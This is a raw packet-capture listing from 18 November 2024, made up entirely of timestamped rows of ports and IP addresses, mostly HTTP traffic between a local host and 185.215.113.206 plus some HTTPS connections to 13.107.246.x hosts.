Nov 18, 2024 04:41:33.947375059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947390079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947444916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947479963 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947493076 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947508097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947531939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947549105 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947571993 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947582960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947599888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947616100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947652102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947690010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947705030 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947729111 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947742939 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947746038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947768927 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947789907 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947858095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947873116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947889090 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947901011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947912931 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947916031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947932959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947949886 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947981119 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947981119 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948093891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948148966 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948164940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948179960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948203087 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948226929 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948241949 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948256969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948275089 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948281050 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948296070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948318958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948342085 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948359966 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948375940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948390961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948395014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948406935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948415041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948421955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948431015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948445082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948481083 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948508024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948524952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948542118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948568106 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948580980 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948649883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948674917 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948685884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948690891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948723078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948751926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948769093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948784113 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948803902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948818922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948822975 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948836088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948837996 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948859930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.948868990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948884010 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948898077 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.948966980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949021101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949034929 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949052095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949054003 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949070930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949080944 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949186087 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949189901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949204922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949220896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949242115 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949254990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949326038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949342012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949363947 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949486971 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949505091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949520111 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949536085 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949544907 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949552059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949558973 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949568033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949578047 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949583054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949590921 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949599981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949605942 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949637890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949637890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949716091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949732065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949749947 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949765921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949783087 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949788094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949790955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949805021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.949815035 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949829102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.949846029 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.987257004 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.987286091 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.987375975 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.987611055 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.987623930 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.999830961 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.000493050 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.000519991 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.000993967 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.000998020 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.030252934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030268908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030286074 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030314922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030328989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030355930 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.030437946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030437946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.030469894 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030486107 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030500889 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030517101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030539036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.030596018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030611992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030625105 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.030628920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030646086 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030674934 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.030704975 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.030810118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030824900 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030839920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030857086 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.030905962 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.065284967 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.065330982 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.065357924 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.065370083 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.065376997 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.065387011 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.065396070 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.065402985 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.065432072 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.065466881 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.065481901 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.065515995 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.065536022 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.065898895 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.065912962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.065920115 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.065931082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.065937042 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.065943956 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.065957069 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.065974951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.065979958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.065990925 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066008091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066009998 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066030025 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066040993 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066065073 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066091061 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066680908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066739082 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066756964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066775084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066817999 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066868067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066884995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066901922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066909075 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066920996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066935062 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066951990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066962004 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.066965103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066982031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.066998005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067011118 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067015886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067028046 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067042112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067061901 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067076921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067092896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067116022 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067135096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067260027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067275047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067290068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067306042 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067322969 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067332983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067348957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067353964 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067364931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067378998 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067384005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067393064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067411900 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067428112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067456007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067472935 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067487001 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067514896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067533970 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067610979 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067629099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067645073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067653894 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067661047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067677021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067692041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067692995 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067725897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067739964 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067876101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067890882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067904949 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067922115 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067941904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067950010 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067960978 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067976952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.067986012 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.067995071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068010092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068012953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068026066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068039894 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068069935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068073034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068089008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068104982 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068131924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068156958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068269968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068284988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068299055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068311930 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068317890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068325043 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068332911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068344116 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068348885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068357944 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068365097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068373919 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068381071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068397999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068408012 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068408012 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068422079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068439007 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068614960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068630934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068646908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068661928 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068677902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068691015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068698883 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068706989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068722963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068728924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068738937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068742990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068757057 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068773031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068773985 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068785906 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068808079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068818092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068845034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068860054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068873882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068891048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.068914890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.068944931 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.069036961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069052935 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069071054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069084883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069099903 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069116116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069122076 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.069132090 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069148064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.069149971 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.069170952 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.069180965 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.075120926 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.075171947 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.075246096 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.075582027 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.075598001 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.080432892 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.080446005 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.080476999 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.080513000 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.080554962 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.080563068 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.080611944 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.129962921 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.130029917 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.130340099 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.138317108 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.138334990 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.138348103 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.138354063 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.141200066 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.141215086 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.141274929 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.141426086 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.141433001 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.149151087 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149198055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149203062 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149214983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149250031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.149323940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.149339914 CET	80	49833	185.215.113.206	192.168.2.6
